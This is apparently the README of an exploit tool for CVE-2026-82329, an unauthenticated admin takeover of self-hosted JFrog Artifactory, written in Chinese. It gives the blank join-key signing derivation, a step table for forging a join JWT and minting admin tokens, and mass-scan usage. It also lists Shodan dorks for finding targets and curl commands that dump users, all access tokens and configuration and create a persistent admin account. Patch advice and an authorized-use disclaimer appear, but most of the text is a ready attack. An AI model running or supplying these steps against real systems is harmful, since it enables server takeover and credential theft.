╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 未授权管理员接管 ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory(自托管)未授权 join-JWT
→ SERVICE admin 令牌 → 平台 applied-permissions/admin 访问令牌。
CVSS 9.8 · CWE-287 · CISA KEV · 已在野外被利用。
仅限授权测试。请勿对您不拥有或未经书面许可的系统运行此工具。
默认自托管安装信任空白 join key。
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
云托管版 JFrog 已修复。仅自托管版受影响。
Access 修复行:7.191.14。
# 仅使用标准库 — 无需 pip
python3 artifactory.py -h
TLS 验证默认关闭(自签名 Artifactory 属正常情况)。
无需额外参数。
# 单个主机
python3 artifactory.py -u https://artifactory.example.internal:8082
# 打印生成的管理员令牌
python3 artifactory.py -u https://TARGET:8082 --token
# 列表 / 管道(httpx、shodan、subfinder 风格)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# 仅 Pro / Enterprise — 持久化本地管理员(破坏性操作)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (已修复 / 无空白 key)
[FAIL] https://dead:8082 无法访问
| 标签 | 含义 |
|---|---|
VULN | 空白 join 被接受 + 管理员证明( 或令牌列表 = 200) |
--token 打印 Bearer 值。这就是接管 — 登录用户是可选的。
--create-admin 在 OSS 上通常返回 400(PUT /artifactory/api/security/users 为 Pro 功能)。
管理员令牌仍然有效。持久化并非有效发现所必需。
替换 TARGET 并粘贴 --token 输出的令牌。
TOKEN='eyJ...' # --token 的输出
B='https://TARGET:8082'
# 版本 / 版本类型
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# 用户目录(管理员)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# 实例上的所有访问令牌
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# 仓库清单
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
其他有用的管理员只读操作(未经授权请勿写入):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI:平台 → 使用访问令牌登录,或在每个请求中发送
Authorization: Bearer <token>。
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
密码策略返回 400 ≠ 不受影响。令牌已具有 aud=*。
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# 常见端口
8081 8082 8040 8046 443
工具会从 -u 中去除 /artifactory /ui /webapp,并与同一源上的 Access 路由器通信。
--create-admin 不是核心发现报告影响为:未授权平台管理员令牌。
用户创建是后续操作,而非根本问题。
本仓库是用于您获授权测试的系统的验证工具。
在未经许可的第三方基础设施上生成令牌、列出用户或创建账户属违法行为。
补丁:升级到您分支的修复版本,设置真实的 join key,轮换披露后生成的令牌。
mitsec · @ynsmroztas
| 步骤 | 请求 | 结果 |
|---|
| 1 | 伪造 HS256 join JWT(iat 为当前时间,skip_node_registration=true) | 已知 HMAC 密钥 |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE 令牌 scp=admin |
| 3 | POST /access/api/v1/tokens | 200 管理员令牌 scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | 仅管理员可访问的证明(未授权 = 401) |
| 分支 | 受影响版本 ≤ | 修复版本 |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
configurationSAFE | join 被拒绝 — 已修复、设置了额外 join keys,或非 Access |
INFO | join 已生成,但证明端点未返回 200 — 请手动检查 |
FAIL | 网络 / 超时 |
| 功能 | OSS | Pro / Enterprise |
|---|
| 生成管理员访问令牌 | 是 | 是 |
| 读取配置 / 列出令牌 / 仓库 | 是 | 是 |
PUT /artifactory/api/security/users | 400 仅 Pro | 200/201 |
POST /access/api/v2/users | 取决于版本 / 策略 | 201 |